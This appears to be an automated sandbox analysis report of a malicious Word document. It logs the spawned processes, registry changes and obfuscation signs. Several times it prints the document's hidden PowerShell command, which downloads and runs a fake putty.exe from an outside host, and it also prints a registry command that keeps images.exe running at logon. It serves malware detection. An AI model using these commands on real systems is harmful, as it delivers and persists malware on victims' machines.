Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....w....... . . .e.r.a.t.i.o.n.E.x.c.e.p.t.i.o.n...........}..v....."......0.................l.....&....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....w..................j....@#..............................}..v.....#......0.................l............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................\..j....0.l.............................}..v.....*......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j....@+..............................}..v.....+......0.................l............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v............ . . .o.m.m.a.n.d.s...S.t.a.r.t.P.r.o.c.e.s.s.C.o.m.m.a.n.d.....0.................l.....<....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....0..............................}..v....81......0.................l............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v............ .......\..j....0.l.............................}..v.....4......0.................l............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....5..............................}..v.....6......0.................l............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................p.......#.........).............p.................).....`I+........v.....................K2..................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....#................].j....................................}..v............0.................m............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v..../.......u.r.i.n.g. .a. .W.e.b.C.l.i.e.n.t. .r.e.q.u.e.s.t..."...H.......0.................m.....6....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v..../................].j....................................}..v............0.................m............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....;.......A.t. .l.i.n.e.:.1. .c.h.a.r.:.4.7...............}..v............0.................m....."....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....;................].j....H...............................}..v............0.................m............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....G...............^].j....@"m.............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....G................].j....H...............................}..v............0.................m............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....S...............^].j....@"m.............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....S................].j....H...............................}..v............0.................m............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v...._.......s.e.r.s.\.A.l.b.u.s.\.A.p.p.D.a.t.a.\.R.o.a.m.i.n.g.\.p.u.t.t.y...e.x.e.'.........m.....J....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v...._................].j....................................}..v............0.................m............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....k...............^].j....@"m.............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....k................].j....x...............................}..v............0.................m............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................E.......w...............^].j....@"m.............................}..v....0.......0.......................f....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....w................].j....................................}..v....h.......0.................m............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v............ .......^].j....@"m.............................}..v............0.................m............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................].j....................................}..v....0.......0.................m............................. Jump to behavior
Source: C:\Windows\SysWOW64\reg.exe Console Write: ......................*.........T.h.e. .o.p.e.r.a.t.i.o.n. .c.o.m.p.l.e.t.e.d. .s.u.c.c.e.s.s.f.u.l.l.y...........%.....N....... .%.......%.....
Source: C:\Windows\SysWOW64\cmd.exe Console Write: ................................M.i.c.r.o.s.o.f.t. .W.i.n.d.o.w.s. .[.V.e.r.s.i.o.n. .6...1...7.6.0.1.]...........!.....H.................4.....
Source: C:\Windows\SysWOW64\cmd.exe Console Write: ....................................c.r.(.P.....................................................6.0.1.]...........!.............x.........4.....
Source: C:\Windows\SysWOW64\cmd.exe Console Write: ....................................c.r.(.P.....................................................6.0.1.].................~.......x.........4.....
Source: C:\Windows\SysWOW64\cmd.exe Console Write: ....................................c.r.(.P.....................................................6.0.1.]...........!.......................4.....
Source: C:\Windows\SysWOW64\cmd.exe Console Write: .................._.....................(.P.....................................................6.0.1.]...........!.......................4.....
Source: C:\Windows\SysWOW64\cmd.exe Console Write: .................._.............C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.>.........................6.0.1.]...........!.....(.......x.........4.....
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_64\mscorlib\fe6ac93181b40a571892e14bfb9d65f2\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_64\mscorlib\fe6ac93181b40a571892e14bfb9d65f2\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_64\mscorlib\fe6ac93181b40a571892e14bfb9d65f2\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\38bf604432e1a30c954b2ee40d6a2d1c\mscorlib.ni.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\38bf604432e1a30c954b2ee40d6a2d1c\mscorlib.ni.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp Jump to behavior
Source: C:\ProgramData\images.exe Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\38bf604432e1a30c954b2ee40d6a2d1c\mscorlib.ni.dll
Source: C:\ProgramData\images.exe Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
Source: C:\ProgramData\images.exe Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\ProgramData\images.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\ProgramData\images.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\ProgramData\images.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: images.exe Binary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: images.exe Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: images.exe Binary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0
Source: images.exe Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: images.exe Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: images.exe Binary or memory string: SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
Source: NEW PO1100372954 -.doc ReversingLabs: Detection: 23%
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command '(New-Object System.Net.WebClient).DownloadFile('httP://newhosteeeee.ydns.eu/putty.exe','C:\Users\user\AppData\Roaming\putty.exe');Start-Process 'C:\Users\user\AppData\Roaming\putty.exe''
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\OFFICE14\FLTLDR.EXE 'C:\Program Files\Common Files\Microsoft Shared\OFFICE14\FLTLDR.EXE' C:\Program Files\Common Files\Microsoft Shared\GRPHFLT\PNG32.FLT
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command '(New-Object System.Net.WebClient).DownloadFile('httP://newhosteeeee.ydns.eu/putty.exe','C:\Users\user\AppData\Roaming\putty.exe');Start-Process 'C:\Users\user\AppData\Roaming\putty.exe''
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command '(New-Object System.Net.WebClient).DownloadFile('httP://newhosteeeee.ydns.eu/putty.exe','C:\Users\user\AppData\Roaming\putty.exe');Start-Process 'C:\Users\user\AppData\Roaming\putty.exe''
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Roaming\putty.exe 'C:\Users\user\AppData\Roaming\putty.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Roaming\putty.exe 'C:\Users\user\AppData\Roaming\putty.exe'
Source: C:\Users\user\AppData\Roaming\putty.exe Process created: C:\Users\user\AppData\Roaming\putty.exe C:\Users\user\AppData\Roaming\putty.exe
Source: C:\Users\user\AppData\Roaming\putty.exe Process created: C:\Users\user\AppData\Roaming\putty.exe C:\Users\user\AppData\Roaming\putty.exe
Source: C:\Users\user\AppData\Roaming\putty.exe Process created: C:\Users\user\AppData\Roaming\putty.exe C:\Users\user\AppData\Roaming\putty.exe
Source: C:\Users\user\AppData\Roaming\putty.exe Process created: C:\Users\user\AppData\Roaming\putty.exe C:\Users\user\AppData\Roaming\putty.exe
Source: C:\Users\user\AppData\Roaming\putty.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c REG ADD 'HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows' /f /v Load /t REG_SZ /d 'C:\ProgramData\images.exe'
Source: C:\Users\user\AppData\Roaming\putty.exe Process created: C:\ProgramData\images.exe C:\ProgramData\images.exe
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe REG ADD 'HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows' /f /v Load /t REG_SZ /d 'C:\ProgramData\images.exe'
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\verclsid.exe 'C:\Windows\system32\verclsid.exe' /S /C {06290BD2-48AA-11D2-8432-006008C3FBFC} /I {00000112-0000-0000-C000-000000000046} /X 0x5
Source: C:\ProgramData\images.exe Process created: C:\ProgramData\images.exe C:\ProgramData\images.exe
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\notepad.exe 'C:\Windows\system32\NOTEPAD.EXE' 'C:\Users\user\AppData\Local\Temp\abdtfhghgdghgh .ScT'
Source: C:\ProgramData\images.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\System32\cmd.exe
Source: C:\ProgramData\images.exe Process created: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe 'C:\Users\user\AppData\Roaming\iBCrDCK.i.exe'
Source: unknown Process created: C:\Windows\System32\drvinst.exe DrvInst.exe '1' '200' 'UMB\UMB\1&841921d&0&TERMINPUT_BUS' '' '' '6e3bed883' '0000000000000000' '000000000000059C' '0000000000000600'
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process created: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe C:\Users\user\AppData\Roaming\iBCrDCK.i.exe
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process created: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe C:\Users\user\AppData\Roaming\iBCrDCK.i.exe
Source: unknown Process created: C:\Program Files (x86)\SMTP Service\smtpsvc.exe 'C:\Program Files (x86)\SMTP Service\smtpsvc.exe'
Source: C:\Program Files (x86)\SMTP Service\smtpsvc.exe Process created: C:\Program Files (x86)\SMTP Service\smtpsvc.exe C:\Program Files (x86)\SMTP Service\smtpsvc.exe
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command '(New-Object System.Net.WebClient).DownloadFile('httP://newhosteeeee.ydns.eu/putty.exe','C:\Users\user\AppData\Roaming\putty.exe');Start-Process 'C:\Users\user\AppData\Roaming\putty.exe'' Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\OFFICE14\FLTLDR.EXE 'C:\Program Files\Common Files\Microsoft Shared\OFFICE14\FLTLDR.EXE' C:\Program Files\Common Files\Microsoft Shared\GRPHFLT\PNG32.FLT Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command '(New-Object System.Net.WebClient).DownloadFile('httP://newhosteeeee.ydns.eu/putty.exe','C:\Users\user\AppData\Roaming\putty.exe');Start-Process 'C:\Users\user\AppData\Roaming\putty.exe'' Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command '(New-Object System.Net.WebClient).DownloadFile('httP://newhosteeeee.ydns.eu/putty.exe','C:\Users\user\AppData\Roaming\putty.exe');Start-Process 'C:\Users\user\AppData\Roaming\putty.exe'' Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\verclsid.exe 'C:\Windows\system32\verclsid.exe' /S /C {06290BD2-48AA-11D2-8432-006008C3FBFC} /I {00000112-0000-0000-C000-000000000046} /X 0x5 Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\notepad.exe 'C:\Windows\system32\NOTEPAD.EXE' 'C:\Users\user\AppData\Local\Temp\abdtfhghgdghgh .ScT' Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Roaming\putty.exe 'C:\Users\user\AppData\Roaming\putty.exe' Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Roaming\putty.exe 'C:\Users\user\AppData\Roaming\putty.exe' Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process created: C:\Users\user\AppData\Roaming\putty.exe C:\Users\user\AppData\Roaming\putty.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process created: C:\Users\user\AppData\Roaming\putty.exe C:\Users\user\AppData\Roaming\putty.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process created: C:\Users\user\AppData\Roaming\putty.exe C:\Users\user\AppData\Roaming\putty.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process created: C:\Users\user\AppData\Roaming\putty.exe C:\Users\user\AppData\Roaming\putty.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c REG ADD 'HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows' /f /v Load /t REG_SZ /d 'C:\ProgramData\images.exe' Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process created: C:\ProgramData\images.exe C:\ProgramData\images.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe REG ADD 'HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows' /f /v Load /t REG_SZ /d 'C:\ProgramData\images.exe'
Source: C:\ProgramData\images.exe Process created: C:\ProgramData\images.exe C:\ProgramData\images.exe
Source: C:\ProgramData\images.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\System32\cmd.exe
Source: C:\ProgramData\images.exe Process created: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe 'C:\Users\user\AppData\Roaming\iBCrDCK.i.exe'
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process created: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe C:\Users\user\AppData\Roaming\iBCrDCK.i.exe
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process created: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe C:\Users\user\AppData\Roaming\iBCrDCK.i.exe
Source: C:\Users\user\AppData\Roaming\putty.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{62BE5D10-60EB-11D0-BD3B-00A0C911CE86}\InprocServer32 Jump to behavior
Source: C:\ProgramData\images.exe File written: C:\Program Files\Microsoft DN1\rdpwrap.ini
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Directory created: C:\Program Files\Microsoft DN1 Jump to behavior
Source: C:\ProgramData\images.exe Directory created: C:\Program Files\Microsoft DN1\sqlmap.dll
Source: C:\ProgramData\images.exe Directory created: C:\Program Files\Microsoft DN1\rdpwrap.ini
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 00000003.00000002.2095090914.00000000021A7000.00000004.00000040.sdmp
Source: Binary string: ws\System.Management.Automation.pdbpdbion.pdbAlbu source: powershell.exe, 00000003.00000002.2095090914.00000000021A7000.00000004.00000040.sdmp
Source: Binary string: System.Management.Automation.pdbBBfop source: powershell.exe, 00000003.00000002.2095090914.00000000021A7000.00000004.00000040.sdmp
Source: Binary string: C:\Users\W7H64\source\repos\Ring3 CRAT x64\Ring3 CRAT x64\nope.pdb source: putty.exe, 0000000A.00000002.2122718897.0000000003601000.00000004.00000001.sdmp, putty.exe, 0000000B.00000002.2119646724.00000000025F7000.00000004.00000001.sdmp, images.exe
Source: Binary string: >+D C:\Users\W7H64\source\repos\Ring3 CRAT x64\Ring3 CRAT x64\nope.pdb source: putty.exe, 0000000A.00000002.2122718897.0000000003601000.00000004.00000001.sdmp, putty.exe, 0000000B.00000002.2119646724.00000000025F7000.00000004.00000001.sdmp
Source: Binary string: C:\Users\Tim\documents\visual studio 2010\Projects\sqlite\Release\sqlite3.pdb source: images.exe
Source: Binary string: wuser32.pdb source: images.exe
Source: Binary string: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000003.00000002.2095090914.00000000021A7000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\dll\System.Management.Automation.pdbmmon source: powershell.exe, 00000003.00000002.2095090914.00000000021A7000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\symbols\dll\System.Management.Automation.pdb Fil source: powershell.exe, 00000003.00000002.2095090914.00000000021A7000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000003.00000002.2095090914.00000000021A7000.00000004.00000040.sdmp
Source: Binary string: mscorrc.pdb source: powershell.exe, 00000003.00000002.2096511156.0000000002960000.00000002.00000001.sdmp, powershell.exe, 00000006.00000002.2100589485.00000000029A0000.00000002.00000001.sdmp, putty.exe, 0000000A.00000002.2117131809.0000000000770000.00000002.00000001.sdmp

Data Obfuscation:

barindex
Suspicious powershell command line found
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command '(New-Object System.Net.WebClient).DownloadFile('httP://newhosteeeee.ydns.eu/putty.exe','C:\Users\user\AppData\Roaming\putty.exe');Start-Process 'C:\Users\user\AppData\Roaming\putty.exe''
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command '(New-Object System.Net.WebClient).DownloadFile('httP://newhosteeeee.ydns.eu/putty.exe','C:\Users\user\AppData\Roaming\putty.exe');Start-Process 'C:\Users\user\AppData\Roaming\putty.exe''
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command '(New-Object System.Net.WebClient).DownloadFile('httP://newhosteeeee.ydns.eu/putty.exe','C:\Users\user\AppData\Roaming\putty.exe');Start-Process 'C:\Users\user\AppData\Roaming\putty.exe''
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command '(New-Object System.Net.WebClient).DownloadFile('httP://newhosteeeee.ydns.eu/putty.exe','C:\Users\user\AppData\Roaming\putty.exe');Start-Process 'C:\Users\user\AppData\Roaming\putty.exe'' Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command '(New-Object System.Net.WebClient).DownloadFile('httP://newhosteeeee.ydns.eu/putty.exe','C:\Users\user\AppData\Roaming\putty.exe');Start-Process 'C:\Users\user\AppData\Roaming\putty.exe'' Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command '(New-Object System.Net.WebClient).DownloadFile('httP://newhosteeeee.ydns.eu/putty.exe','C:\Users\user\AppData\Roaming\putty.exe');Start-Process 'C:\Users\user\AppData\Roaming\putty.exe'' Jump to behavior
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_004060B0 LoadLibraryA,GetProcAddress,ExitProcess, 13_2_004060B0
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 10_2_00207735 push esp; retf 10_2_00207736
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 10_2_002077E1 push cs; retf 10_2_002077E6
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 10_2_002084E1 push esp; retf 10_2_002084E2
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 10_2_00206CC1 push esp; retf 10_2_00206CC2
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 10_2_006A0E32 push 00000000h; retn 0010h 10_2_006A0E40
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 11_2_00287735 push esp; retf 11_2_00287736
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 11_2_002877E1 push cs; retf 11_2_002877E6
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 11_2_002884E1 push esp; retf 11_2_002884E2
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 11_2_00286CC1 push esp; retf 11_2_00286CC2
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_004011C0 push eax; ret 13_2_004011D4
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_004011C0 push eax; ret 13_2_004011FC
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_0041C225 pushad ; retn 0041h 13_2_0041C22D
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_004174D1 push ebp; retf 13_2_00417584
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_00417570 push ebp; retf 13_2_00417584
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 15_2_004011C0 push eax; ret 15_2_004011D4
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 15_2_004011C0 push eax; ret 15_2_004011FC
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 15_2_0041C225 pushad ; retn 0041h 15_2_0041C22D
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 15_2_004174D1 push ebp; retf 15_2_00417584
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 15_2_00417570 push ebp; retf 15_2_00417584
Source: C:\ProgramData\images.exe Code function: 17_2_00147735 push esp; retf 17_2_00147736
